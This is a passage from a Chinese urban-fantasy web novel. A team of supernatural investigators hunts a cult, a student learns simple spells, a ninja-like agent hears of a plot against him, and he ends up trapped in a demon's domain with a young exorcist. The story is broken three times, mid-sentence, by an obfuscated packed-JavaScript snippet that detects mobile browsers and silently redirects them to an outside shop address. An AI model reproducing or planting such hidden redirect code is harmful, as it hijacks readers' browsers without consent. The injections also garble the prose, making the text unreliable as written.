荒的神色重新变得专注而冷肃:“当务之急,是理清线索,找到‘生贽之会’在阪大的据点,或者至少是他们处理‘实验废弃物’和进行‘培育’的关键节点。市场角落的瓶装器官,下水道的怨质凝集体,都只是冰山一角。我们需要更接近核心。” 他看向森内彻:“森内先生,你之前提到市场管理处和巡逻警察的异常动向,说‘上面’可能有清理行动。 这或许是个机会,也可能是陷阱。需要你动用一切渠道,尽可能查明‘清理’的具体时间、范围、执行者,以及背后真正推动的是哪方势力——是警方内部的特殊部门,还是其他?这关系到我们能否趁乱找到线索,或者避免被‘清理’波及。” 森内彻收起嬉笑,认真点头:“明白,我这就去撒网。那些老油条和底层警员,总有办法撬开嘴。” 荒又看向高宏亮:“高宏先生,你对‘异常’的感知和对付它们的经验至关重要。我们需要你协助,以市场区域和下水道发现点为中心,向周边辐射探查,寻找其他可能的‘污染源’或‘能量异常点’。那些邪教徒的实验,必然留下更多痕迹。” “交给我。”高宏亮简短应道。 最后,荒的目光落在吴森森身上,略一沉吟:“吴森森,你身上的‘缘’和‘敏感性’是关键。我需要你……尽可能回忆那天在市场发现瓶装器官前后的所有细节,任何异常的人、事、物、甚至感觉。同时,保持与桐岛凛的联系,他来自警视厅科学搜查研究所的视角和数据分析,是我们不可或缺的一环。另外……” 他顿了顿:“你本身,或许就是最好的‘探测器’。当你接近与事件核心相关的人或物时,可能会产生我们无法察觉,但你自身能感受到的‘反应’。留意任何不寻常的直觉、梦境,或者身体上的细微异样。” 吴森森深吸一口气,郑重地点了点头。 月岛静轻轻敲了敲门,端进来几份精致的和果子,打破了室内过于严肃的气氛。“聊了这么久,吃点东西吧。我特意做的,算是……给我这茶馆开张以来最特别的客人们一点支持。” 她笑容温暖,眼神清澈,似乎并未过多探听茶室内的秘密,却又以她的方式表达着理解与善意。 四人暂时停下了沉重的讨论,品尝着甜点。窗外的阳光正好,洒在静谧的庭院里。 ———— 和果子的甜腻暂时驱散了茶室中弥漫的沉重气氛。月岛静手脚麻利地收拾了茶具,看了看窗外明媚的阳光,又瞥了眼茶室内依旧萦绕的凝重空气,忽然拍了拍手,笑容灿烂地提议: “各位,难得今天天气这么好,光在屋里谈这些沉重的事情也太闷了。后面小院我收拾得挺干净,不如我们弄点简单的烧烤?我请客!也算是给大家……嗯,减压?” 这个提议有些出乎意料,但看着月岛静热情洋溢的笑脸,以及她眼中那份“我知道你们在干大事,但我也可以帮忙”的真诚,高宏亮和森内彻对视一眼,没有反对。 荒也微微颔首,似乎觉得稍作休整、转换心情也无不可。 吴森森更是求之不得,他急需一些平常的活动来平复接连不断的认知冲击。 说干就干。月岛静立刻行动起来,她迅速脱掉了之前招待客人时穿的素雅和服,换上了一身利落的运动短袖和工装裤,长发也扎成了清爽的高马尾。 整个人瞬间从温婉的茶馆主人变成了充满活力的运动系女子。 她熟门熟路地从后院仓库搬出一个小巧的便携烧烤炉、一袋上好的木炭、以及早已准备好的新鲜肉类和蔬菜。 “别看我这样,打理茶馆之余,我也很会玩的!” 月岛静一边麻利地生火,一边笑着说,“而且,刚才你们说的那些……‘麻烦事’,如果有什么需要帮忙的地方,尽管开口。” 她往炭炉里丢了几块引燃的炭,动作熟练,“我虽然因为家里的关系,没能继承神社,但该学的可一点没少学。对付一些普通的‘秽物’、‘瘴气’,或者进行简单的净化仪式,我还是有点实力的。毕竟从小耳濡目染,基本功还算扎实。” 她拿起一把扇子,对着炭火轻轻扇着,火焰很快稳定地燃烧起来,发出令人安心的噼啪声。“而且,” 她补充道,语气带着一丝小小的得意,“我在大学里主修的是柔道,体育学院出身哦!近身搏斗、擒拿制服什么的,也算拿手。开茶馆有时候会遇到难缠的客人,学点防身术总没错,还能放松心情,锻炼身体。” 高宏亮挑了挑眉,重新打量了一下月岛静。之前只觉得她爽朗能干,没想到还有这样的背景。“体育生啊,难怪手脚这么利索。柔道黑带?” “三段。” 月岛静比了个手势,笑容爽朗,“虽然很久没正经比赛了,但底子还在。真要动起手来,等闲三两个大汉近不了身。” 她说这话时,眼神清澈,语气自信,丝毫没有夸耀的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016484|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是陈述事实。 森内彻吹了声口哨:“失敬失敬,原来是月岛师范!以后来你店里喝茶,我可不敢赖账了。” 众人笑了起来,气氛轻松了不少。炭火燃起,肉串和蔬菜在烤架上滋滋作响,香气四溢。月岛静俨然成了烧烤主力,翻烤、撒料,动作行云流水,显然对此道颇为精通。 就在大家等待食物烤熟的间隙,荒忽然对吴森森招了招手:“吴,过来。” 吴森森依言走过去。荒示意他在自己身旁的廊檐下坐好。 “你身上有‘缘’,灵感也高于常人,这是天赋,但在面对我们即将触及的黑暗时,仅有天赋不够,还需要基本的自保和理解能力。” 荒的声音不高,但清晰地传入吴森森耳中,“我教你几个简单的术式,不涉及诹访家或流川的核心秘传,是一些比较通用、温和的基础应用。一来可以让你对‘力量’的运转有个直观感受,二来在危急时刻,或许能派上些小用场。” 吴森森心中一凛,又是紧张又是期待。他终于要接触到这个超常世界的“技术”层面了吗? “首先,感受你周围环境中最基础、最温和的力量——比如,风,或者空气中无处不在的、微弱的水汽。” 荒的声音仿佛带着某种韵律,引导着吴森森的注意力,“不要试图‘命令’或‘掌控’,而是去‘感知’、‘共鸣’,然后轻轻地‘推动’或‘引导’。” 他伸出手指,在空中极其缓慢地划过一个简单的弧线。没有光芒,没有声响,但吴森森分明感觉到,廊檐下流动的空气似乎微微滞涩了一下,几片飘落的树叶轨迹发生了细微的改变。 “这是最基础的‘气流引导’,或者说‘微风术’的雏形。用意念感知气流的动向,用最轻微的精神力去顺应并略微改变它的路径。你试试。” 吴森森凝神静气,努力摒弃杂念,按照荒的指导,将注意力集中在空气中那无形的流动上。起初一片混沌,但渐渐地,他似乎“感觉”到了空气拂过皮肤时的细微方向变化,感觉到了庭院中树木枝叶摇曳带来的气流扰动。 他尝试着,像用一根极细的羽毛去拨动水面涟漪般,用自己微弱的意念去触碰、去引导…… 一片原本要落在他肩膀上的枯叶,在半空中极其轻微地晃了晃,飘向了旁边。 成功了!虽然效果微乎其微,但那种清晰的、自己意念与外界产生交互的感觉,让吴森森心跳加速。 “很好。灵感果然不错。” 荒点了点头,眼中闪过一丝赞许,“接下来,尝试聚集空气中的水汽。想象它们是微小的、闪烁的光点,将它们温柔地吸引到你指尖前方。” 这一次更困难一些。吴森森集中精神,想象着空气中的水分。慢慢地,他感觉到指尖前方的空气似乎变得有些“湿润”,然后,一点极其细微的、几乎看不见的水雾,真的在他指尖前凝聚、浮现,虽然很快又消散了。 “不错。记住这种感觉,这是‘水汽凝聚’的基础。熟练之后,可以在短时间内制造一小片薄雾干扰视线,或者汇聚少量清水。” 荒继续指导,又教了他一个更偏向“感知”而非“操纵”的简单术式,用于增强对周围环境中微弱能量流动或“异常”气息的感应。 吴森森学得很投入,虽然每次施术都消耗不小的心神,且效果微弱,但他能清晰地感觉到自己正在触碰一个全新的领域。 就在他尝试第三次凝聚水汽,试图让它更持久一些时,可能是因为精神过于集中,意念稍微偏转,一股微弱的、不受控制的气流被他无意中引动,“噗”地一声,恰好吹向了旁边月岛静精心照看的烧烤炉! 虽然只是一小股微风,但时机和角度凑巧,竟然将刚刚燃旺的炭火吹得猛地一暗,几乎熄灭! “啊!对不起!” 吴森森吓了一跳,连忙道歉,脸涨得通红。 正在翻烤鸡翅的月岛静也愣了一下,看着瞬间变得奄奄一息的炭火,随即“噗嗤”一声笑了出来,摆摆手:“没关系没关系,小事情!正好这炉炭有点太旺了,烤东西容易焦,灭一点刚好。” 她一边说,一边熟练地拿起旁边的扇子和火钳,拨弄了几下炭块,又加了点新炭,很快,火焰再次稳定而旺盛地燃烧起来。 “看来学得挺投入嘛,吴小弟。” 月岛静笑着打趣,“这‘微风术’用得挺是地方,帮我调节火候了。” 吴森森不好意思地挠挠头。荒也淡淡地笑了笑:“初学难免控制不稳,多练习就好。你的天赋比我想象的还要好一些,尤其是对‘流动’之物的感应。” 小小的插曲反而让气氛更加融洽。炭火重新燃起,烤肉的香气越发浓郁。月岛静将第一批烤好的肉串和蔬菜分给大家,油脂滴落在炭火上,滋啦作响,烟火气十足。 高宏亮和森内彻也上前帮忙,轮流着来。 阳光温暖,微风和煦,月岛静说着大学时柔道部的趣事,森内彻插科打诨讲着收集情报时的各种乌龙,高宏亮则点评着烤肉的火候和调味。 不论明天怎样,现在正是此时心情此时天。 12. 渡边兰 夜色如墨,笼罩着阪大市远郊一处荒废已久的采石场。这里地势崎岖,岩壁陡峭,废弃的矿洞如同巨兽张开的漆黑大口,散发着阴冷潮湿的气息。 月光吝啬地洒下,勉强勾勒出嶙峋怪石的轮廓。 一道纤细却异常敏捷的身影,如同暗夜中的灵猫,无声无息地在一处矿洞入口附近的岩壁上腾挪。 她穿着一身便于活动的深紫色忍者服,并非传统样式,更接近现代改良的运动忍者装,面料带有哑光质感,完美融入阴影。脸上戴着遮住口鼻的深色面罩,只露出一双在黑暗中熠熠生辉、冷静锐利的眼眸。 她的手中,握着一根约两米长、通体乌黑、看似柔软却隐隐泛着金属光泽的长鞭。鞭身不知由何种材料编织而成,挥舞间几乎不带风声,却在空中划出凌厉的轨迹。 “吱——!” 刺耳的尖啸响起,几只黑影从矿洞深处扑出!那是邪蝠,一种翼展约半米、形似蝙蝠但更加狰狞的怪物。它们通体灰黑,眼睛血红,獠牙外露,浑身散发着淡淡的腐败与怨恨气息。 这些邪蝠通常在有非自然死亡,尤其是大量、惨烈死亡,且阴气积聚的地方滋生,如乱葬岗、古战场遗址,以及这种废弃的、可能曾发生过事故的矿洞。 它们单体威胁不大,但往往成群结队,攻击性不弱,喜食血肉和负面情绪。 面对扑来的邪蝠群,紫衣女子眼神没有丝毫波动。她身形未动,手腕只是极其细微地一抖—— “咻——啪!啪!啪!” 乌黑的长鞭如同拥有生命的毒蛇,在空中骤然爆开数道残影!精准无比地抽打在冲在最前面的几只邪蝠身上。 没有惊天动地的巨响,只有沉闷的皮开肉绽之声和邪蝠临死前短促的哀鸣。 鞭影所过之处,邪蝠身体如同被利刃切割般断裂,污血和破碎的内脏洒落一地。 剩下的邪蝠似乎被这雷霆手段震慑,攻势一滞。但女子显然不打算给它们反应机会。 她足尖一点,身体轻盈地跃起,在空中一个优雅的转折,长鞭随之化作一道黑色的旋风,笼罩了剩余的邪蝠。 “嗤啦——!” 鞭影交织成网,将最后几只邪蝠尽数绞杀。整个过程干脆利落,不超过十秒钟。矿洞入口处,只剩下邪蝠残缺的尸体和空气中弥漫的淡淡腥臭。 女子轻盈落地,长鞭如同温顺的蛇,自动缩回缠绕在她纤细而有力的手臂上。她走到邪蝠尸体旁,蹲下身,从腰间的多功能战术包里取出几个特制的小袋子和小镊子。 她动作熟练地开始收集材料: -破邪夜明砂:从邪蝠栖息的洞壁角落或干燥粪便中筛选出的一些闪烁着微光的砂砾状晶体,具有微弱的破邪和稳定心神作用,是制作低级护符或净化药剂的辅助材料。 -邪蝠牙齿:小心地从邪蝠口中拔下那对最长的獠牙。这是邪蝠身上最值钱的部分,质地坚硬且蕴含着邪蝠的“锐利”与“吸血”特性,经过特殊处理,可以用于制作带有破甲或吸血效果的诅咒物品,当然,在正规渠道是禁止的,更多的是作为一种带有“不祥”能量的炼金或仪式材料,在黑市上价格不菲。 -邪蝠翅膀:选取相对完整、翼膜坚韧的部分剪下。可用于制作某些特殊道具或仪式用品,但价值远不如牙齿。 -邪蝠毛发:收集一些较长的、带有特殊纹理的背毛。用处更少,通常只作为某些冷门仪式的耗材,回收价最低。 她分类装好,动作一丝不苟,显然是老手。月光下,她的侧脸线条优美而冷峻,专注的神情与这血腥的收集工作形成一种奇异而冷酷的美感。 就在她将最后一颗邪蝠牙齿装入袋中时,战术腰包侧面的一个加密通讯器震动起来。她看了一眼来电显示,面罩下的眉头似乎几不可察地皱了一下,但还是接通了。 “喂,兰姐!” 通讯器里传来一个年轻男性充满抱怨和些许疲惫的声音,正是佐藤莲!“你到底什么时候回来啊?别又在外面偷偷旅游去了!老板整天神出鬼没,万事屋的杂事都快堆成山了,我一个人真的快忙不过来了! 上次那个找猫的委托,猫是找到了,但抓它的时候把我新买的裤子给挠破了!还有那个调查出轨的,差点被人家老公当成奸夫打……” 女子的眼神里似乎掠过一丝无奈,但声音透过通讯器传出去时,却依旧是平静无波的清冷女声:“快了。这边的‘货’已经收集得差不多了,正准备送去交接。另外,跟这边的极道组织就之前那批‘特殊金属’的渠道问题,‘交流’了一下。” 她的声音冷静、简洁,不带什么情绪,却透着一股干练和不容置疑。 “极道?!” 佐藤莲的声音一下子提高了八度,充满了担忧,“兰姐你没事吧?没动手吧?咱们万事屋虽然啥活儿都接,但跟极道打交道还是小心点啊!” “嗯。” 女子只是淡淡应了一声,似乎不打算多谈这个话题,“处理好就回去。还有事?” “呃……还有,” 佐藤莲似乎想起了什么,语气变得有些八卦,“对了,兰姐,高宏哥最近带了个新朋友来店里,叫吴森森,听说是个在美院留学的中国大学生。人看着挺老实,但感觉……嗯,好像有点不一般?高宏哥对他挺照顾的。你回来可以见见。” 听到“吴森森”这个名字,被称为“兰姐”的女子动作微微一顿,那双冷静的眼眸中闪过一丝极快的、难以捉摸的光,似乎对这个名字有所反应,但又迅速恢复了平静。 “嗯。知道了。” 她依旧言简意赅,“还有别的事吗?没有我挂了。” “没、没了……兰姐你早点回来啊!注意安全!” 佐藤莲连忙道。 “嗯。” 通讯切断。 女子——兰,将通讯器放回腰包。她站起身,环顾了一下周围邪蝠的尸体和寂静的矿洞,确认没有遗漏有价值的材料,也没有新的威胁潜伏。 月光洒在她身上,紫色的忍者服勾勒出矫健的身形。她将收集好的材料包妥善收好,最后看了一眼黑暗的矿洞深处。 “美院留学生……吴森森……” 她低声重复了一遍这个名字,声音轻得几乎被夜风吹散。 没有多余的表情,她转身,几个纵跃,身影便消失在嶙峋的岩石与夜色之中。 ———— 夜色中,那道紫色的身影如同融化的墨迹,几个起落便远离了那片滋生邪蝠的废弃矿洞。她没有选择灯火通明的道路,而是在城市边缘的暗巷、屋顶、甚至废弃建筑的脚手架间无声穿行,行动轨迹难以捉摸,显然深谙隐匿与潜行之道。 渡边兰。 这是她的名字。在“松和万事屋”的档案里,她是入职超过五年的资深员工,能力出众,尤其擅长调查、追踪、潜入以及处理某些“特殊”委托。 但在那简洁的档案背后,是连森内彻也未必完全知晓的过往。 大约五年前一个雨夜,在阪大某条充斥着污水和垃圾的阴暗后巷,刚刚完成一单棘手“货物”交接的森内彻,嗅到了一丝不同寻常的血腥味。 他循着味道,在一个堆满废弃建材的角落,发现了一个蜷缩着的、几乎被血浸透的身影。 那便是渡边兰。当时的她,身上布满了利器造成的伤口,有些深可见骨,失血严重,气息微弱得仿佛下一刻就会断绝。更让森内彻心惊的是,她身上除了外伤,还缠绕着一股极其阴冷、邪异的能量残留,显然不是普通的街头斗殴所致。 森内彻几乎没有犹豫。他立刻动用了自己为数不多的、真正可靠的黑市资源——联系上了一位技术高超但收费不菲、且绝对守口如瓶的地下医生。他将濒死的渡边兰带到了那个藏匿在老旧公寓地下室的简陋手术室。 手术进行了整整一夜。渡边兰的体质异乎寻常地坚韧,求生意志也强得可怕,这才在鬼门关前被硬生生拉了回来。但她醒来后,对之前发生的事、自己的身份来历,一概缄口不言,眼神里只有一片冰冷的戒备和深藏的痛楚。 森内彻没有追问。他只是提供了临时的住所、干净的食物和衣物,然后对她说:“我这儿缺个能干的帮手,包吃住,有活儿干就有钱拿,不干净但来钱快。你好了要是没地方去,可以试试。不想干,随时可以走。” 渡边兰沉默地看了他很久,最后点了点头。 这一留,就是五年。她从最初的沉默寡言、只完成最基本指令的“工具”,逐渐成长为万事屋不可或缺的支柱。 森内彻传授了她许多街头生存、情报搜集、伪装潜入的技巧,也带着她处理了各式各样光怪陆离的委托,其中不乏涉及“非常规”领域的麻烦事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016485|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 渡边兰学得很快,执行任务时冷静、高效、出手果断,对疼痛和危险的忍耐力高得惊人。她很少表露情绪,对森内彻保持着一种介于下属与受庇护者之间的、复杂而稳固的忠诚。 森内彻知道她身上有秘密,有过去,甚至可能背负着不小的麻烦。但他从不深究,只是在她需要某些特定药物压制旧伤,或是需要处理一些明显超出普通人范畴的“痕迹”时,默默提供渠道和支持。两人之间形成了一种独特的默契。 这次所谓的“出差”,表面上是受某位匿名收藏家委托,前往阪大邻近的县市,收集几种特定的、只有“特定环境”下才会产出的“稀有材料”,并与当地控制着部分黑市渠道的极道组织进行“商务洽谈”。 但实际上,渡边兰自己也有一些私人的、与过去相关的线索需要在此地查证。 与极道组织的“交流”比她预想的要顺利,但也更……意味深长。对方是个在地方上颇有势力的组的中层干部,负责一些灰色产业的运作。 在谈妥了那批“特殊金属”,某种常用于制作低级法器的导能金属,的长期供应渠道后,对方或许是出于示好,或许是酒后失言,在只有两人的密室里,透露了一个让渡边兰瞬间警铃大作的消息。 “最近上面传下话,” 那个极道干部压低声音,眼神闪烁着算计和一丝忌惮,“让留意一个在阪大活动的中国留学生,叫吴森森,好像是在美院学画的。有风声说,某个不好惹的‘上面’的‘上面’,想让他‘消失’。但又特别强调,绝对不能明着动手,更不能留下把柄,最好做成意外,或者借‘非人’的手。听说主要是顾忌他夏国人的身份,闹大了外交上麻烦,而且夏国那边对自家留学生看得紧,护短是出了名的。” 渡边兰当时面色如常,只是端着酒杯的手指几不可察地收紧了一瞬。“哦?一个学生,能惹到什么大人物?” “谁知道呢。” 极道干部耸耸肩,“可能是看到了不该看的,或者身上有谁想要的东西吧。反正这种活儿,烫手。我们组不打算接,风险太高,收益不明。不过,肯定有要钱不要命的或者想攀高枝的会动心思。你们万事屋消息灵通,也留个心眼,别不小心卷进去。” 渡边兰当时只是淡淡应了声,将话题转回了生意上。但这条信息,如同一条冰冷的毒蛇,钻进了她的心里。 “吴森森” 这个名字,在佐藤莲刚才的电话里再次出现,与高宏亮联系在了一起。高宏亮是森内彻的老友,也是为数不多能让渡边兰稍微放下些戒备的人之一。 高宏亮带回万事屋、并给予照顾的人……竟然被某个隐藏在更深处的势力盯上了,而且对方如此忌惮其留学生身份,显然所图非小,且背景极深。 这让她不得不在意。 几个小时的疾行后,渡边兰回到了阪大市区边缘一栋不起眼的杂居楼。她没有回万事屋,而是用备用钥匙打开了三楼一个长期空置的廉价公寓——这是她以假名租下的安全屋之一。 屋内陈设简单到近乎简陋。她反锁好门,拉上厚厚的窗帘,这才打开灯,卸下身上的装备。紫色的忍者服下,是包裹得严严实实的黑色紧身战斗服,勾勒出她精悍矫健的身形。她走到简易的洗手间,用冷水洗了把脸,抬起头,看着镜中的自己。 那是一张略显苍白但十分清丽的脸,五官精致,但眉眼间笼罩着一层化不开的冷冽与疏离,右眼下方有一道极淡的、几乎看不清的旧伤疤。眼神锐利如刀,却又深不见底。 渡边兰擦干脸,眼神恢复了绝对的冷静。她迅速换上了一套普通的休闲装,将重要的装备和这次“出差”收集的材料藏进安全屋的暗格。然后,她拿出一个加密的一次性手机,给森内彻发了条简短的信息: “已回阪大。材料已备,随时可交。另,听到风声,有关高宏的新朋友,有人想动他,顾忌其国籍,手法会隐蔽。” 发完信息,她销毁了手机卡。站在寂静的安全屋中,渡边兰望向窗外阪大璀璨却冰冷的夜景。 她需要尽快回万事屋,亲自见见这个吴森森,也需要从森内彻和高宏亮那里,了解更多内情。 如果那些藏在阴影里的家伙真的想对自己的人下手……她不介意让他们知道,松和万事屋的“兰”,护起短来,有多不好惹。 13. 诡神的域 吴森森坐在自己的画架前,对着眼前进展缓慢的静物素描,有些心不在焉。 耳边是同学们画笔在画布上刮擦的沙沙声,以及偶尔低声的讨论。 空气中弥漫着一股无形的、名为“内卷”的压力——好几个同学的画架上,已经堆叠了厚厚一沓完成或半完成的习作,而他的进度明显落后了。 “唉……”吴森森在心里叹了口气。 这段时间,又是瓶装内脏,又是湿怨影焚鬼,又是下水道探险,还知道了身边有半神、犬妖后裔和神秘万事屋员工……能安安稳稳来上课、没落下太多作业,已经算他心理素质过硬了。 创作?灵感早就被各种超常现象冲击得七零八落,能勉强跟上课程进度就不错了。 “平常的一天啊……”他默默想着,收拾好画具,准备离开。 至少,今天没有怪物突袭,没有神明爆瓜,可以按计划去处理一件“俗事”——提前退掉那间闹鬼的公寓。 虽然高宏亮表示他可以一直住在“春枝猪排饭店”楼上,而且包吃包住还有“特训”,但吴森森觉得,既然决定不再回去,还是把原来的租约了结清楚为好。 押金只能退一半让他有点肉疼,但比起生命安全,这点损失完全可以接受。 而且,以后的日子估计都要仰仗高宏先生了——最好的朋友、最可靠的房东、以及最棒的饭票! 想到这里,吴森森对高宏亮的感激又深了一层,尤其是高宏亮还不抽烟,虽然总喜欢叼着根没点燃的烟,可能是戒烟中吧,这让他这个对烟味有些敏感的人住得更舒心了。 然而,吴森森还是太天真了。在经历了那么多之后,他竟然还敢奢望“平常的一天”? 按照约定时间,他来到了那栋曾经“温馨”如今只剩心理阴影的旧公寓楼下。 房东还没到,他拿了钥匙,心想反正要退租了,干脆最后上去看一眼,顺便检查有没有遗漏的个人物品。 推开那扇熟悉的、漆皮剥落的门,一股混合着灰尘、淡淡霉味和……一丝若有若无甜腥气的空气扑面而来。 吴森森下意识地皱了皱眉,心里那点侥幸瞬间破灭。房间里比他上次离开时更显破败,天花板上那片焦黑的污迹依旧触目惊心,阳光透过蒙尘的窗户,勉强照亮室内,却驱不散那股阴冷不安的感觉。 他尽量不去看那些不祥的痕迹,快速扫视了一圈,确认没有遗漏东西。就在这时—— “咔…咔啦……” 头顶传来极其轻微的、仿佛什么东西在缓慢碎裂的声响。 吴森森全身汗毛倒竖,猛地抬头! 只见天花板上那片焦黑污迹的中心,空间竟然如同水波般荡漾、扭曲起来! 不是物理上的破裂,而是一种视觉和感知上的异常褶皱!紧接着,那片扭曲的空间如同被戳破的水泡,“啵”地一声,一个娇小的身影从中掉了出来! “哎呀!” 伴随着一声短促的惊呼,那身影“噗通”一下摔在了吴森森面前不远处的榻榻米上,激起一小片灰尘。 那是一个看起来和吴森森年纪相仿,甚至可能更小一点的女孩子。 她穿着一身便于活动的、带有许多口袋的深蓝色工装连体裤,脚上是结实的短靴,一头栗色的短发有些凌乱,脸上还沾着点灰尘。 她手里紧紧抓着一把造型奇特、像是短棍又像是法杖的金属器物,顶端镶嵌着一块微微发光的淡蓝色晶体。 最引人注目的是她那双此刻瞪得圆溜溜的、琥珀色的大眼睛,正惊魂未定地看着突然出现的吴森森,又警惕地扫视着周围。 两人大眼瞪小眼,都愣住了。 还没等吴森森开口问“你是谁?从哪来的?”,或者女孩质问“你是谁?这是什么鬼地方?”,周围的景象突然开始剧烈地扭曲、旋转、褪色! 公寓的墙壁、天花板、窗户如同被投入石子的水中的倒影,迅速模糊、消散。熟悉的景物被一片飞速扩张的、无边无际的空旷所取代。 脚下不再是榻榻米,而是湿润、松软、铺满了厚厚青绿色苔藓的地面。 空气中弥漫着浓重的水汽、泥土和植物腐败的清新又阴冷的气息。光线变得昏暗、迷离,仿佛永远处于黎明或黄昏时分,看不到天空的界限,只有一片朦胧的、仿佛苔藓本身在发光的幽绿。 是“域”!荒曾经简单提到过的,某些强大诡怪或特殊存在能够展开的、独立于现实空间的“诡神的域”! 吴森森心里一沉,立刻尝试掏出手机——没有信号,甚至连紧急呼叫都无法拨出。他试图调动荒教他的、那点可怜的感知术式,想要感应出口或边界,但精神延伸出去,如同泥牛入海,反馈回来的只有一片无边无际的、令人窒息的苔原气息,这“域”的屏障显然阻隔了普通的通讯和低阶术式。 麻烦了!他被困住了!而且看起来,这个从天而降的女孩子,也是同样被困的倒霉蛋。 “这、这里是什么地方?!” 女孩已经从地上爬了起来,紧紧握着手中的短杖,紧张地环顾四周,声音清脆,带着一丝不易察觉的颤抖,但更多的是警惕和……专业性的审视? “应该是……‘鬼神的域’。” 吴森森尽量让自己的声音听起来镇定,他观察着女孩的反应和装束,尤其是她手中的法器,心里有了个猜测,“你……是驱魔师?” 女孩猛地转头看向吴森森,琥珀色的眼睛里闪过一丝惊讶,随即点了点头,语气带着点故作老成:“没错!驱魔师长岛冰茶,参上!” 她挺了挺其实并不怎么明显的胸膛,随即又有点不好意思地补充道,“……那个,名字是有点怪,因为我爸是个酒鬼,超级喜欢喝长岛冰茶,所以就……你别笑啊!” 吴森森当然没心情笑。他快速说道:“我叫吴森森,是这间公寓的原租客,今天来退租的。看来我们都被困在这个‘域’里了。你是追着什么进来的?” 听到吴森森是“原租客”,长岛冰茶的眼神稍微缓和了一些,但依旧保持着警惕。“我是感觉到这栋公寓的‘气’很不对劲,尤其是四楼这个方位,有很强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016486|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的‘空间扭曲’和‘负面情绪汲取’的波动,就上来调查。结果刚撬开门,就被一只狡猾的‘窗户’给耍了!” 她说这话的时候还有点脸红。 “‘窗户’?” 吴森森没听过这种妖怪。 “是一种现代评级为二级的妖鬼!” 长岛冰茶解释道,语速很快,“它们通常诞生于长期存在封闭、压抑、充满幽闭恐惧情绪的建筑空间,比如老式公寓、废弃医院、狭窄的密室等等。能力是可以在墙壁、门板,甚至少数情况下是天然石壁或山体中制造临时的‘空间窗口’并进行短距离穿梭。它们喜欢诱骗人类打开它们制造的‘窗口’,或者将人引入其影响范围,然后把人困在附近的密闭空间里,慢慢吸收人类产生的幽闭恐惧作为食粮。很麻烦,很狡猾!” 她懊恼地用短杖敲了敲自己的脑袋: “我就是被它制造的假‘出口’骗了,一头撞进去,结果就被传送到这个鬼地方了!看来它不止二级那么简单,或者这个‘域’本身有古怪,增强了它的能力,竟然把我们引入了‘域’的边界!” 吴森森明白了。看来这栋公寓的问题,远不止一个“湿怨影”。那个“窗户”妖鬼,很可能一直潜藏在这里,甚至可能与之前的“湿怨影”存在某种共生或竞争关系。 而现在,它显然把他和这个冒失的驱魔师少女,当成了新的“食物”。 “合作吧。” 吴森森没有犹豫,直接提议,“我们都被困在这里,目标一致——找到出口,解决那个‘窗户’,离开这个‘域’。我对这类……‘异常’有点经验,但战斗不是强项。你是驱魔师,专业对口。” 长岛冰茶看了看吴森森,又看了看手中微微发光的短杖,似乎权衡了一下,最终重重点头:“好!合作!不过你要听我指挥,对付妖鬼我很专业的!而且,” 她眼中闪过一丝坚定,“捕捉到二级及以上的妖鬼,是我从家族训练学校毕业、正式获得‘驱魔师’封号的必需条件! 这只‘窗户’正好符合要求!” 原来如此。吴森森了然。看来这位长岛冰茶小姐,是出来“完成毕业实践”的。 “那么,长岛驱魔师,” 吴森森看着四周茫茫的苔原,问道,“我们现在该怎么办?这个‘域’看起来无边无际。” 长岛冰茶举起短杖,顶端的蓝色晶体光芒变得明亮了一些,她闭眼感知了几秒,然后指向一个方向:“我的‘寻踪仪’有反应!那个方向有强烈的‘空间扭曲’源,还有……很浓的幽闭恐惧情绪残留!应该是‘窗户’的老巢,或者至少是它活动最频繁的区域!我们往那边走,小心点,这‘域’里可能不止有‘窗户’!” 两人结成临时同盟,深一脚浅一脚地踩在湿滑的苔藓上,朝着长岛冰茶指示的方向前进。 吴森森摸了摸口袋,那里有荒教给他的、刻了几个简单防护符文的小石子,心里稍微安定了一点。 “高宏先生,荒先生,森内先生……,” 他在心里默默念叨,“希望我能顺利带着‘毕业素材’和这位长岛驱魔师,从这鬼地方出去吧……” 14. 辻神 对于长岛冰茶的身份,让吴森森想起来高宏亮曾经讲过驱魔师、神官、阴阳师还有其他超自然现象的工作者。 针对这种驱魔师,只要不想抢他们猎物的时候,都是很友善。 吴森森问过高宏先生算是什么职业,他当时咳了咳表示自己不是其中任意一种,但是硬要算跟驱魔师最像了。 不过自己没有证件,也没有正统教学经历。 他们一脉经营这种事业,完全依靠祖上流传的犬妖血脉。 不过现在不是想那么多的时候。 幽绿朦胧的光线下,无边无际的苔藓园地仿佛永远走不到尽头。 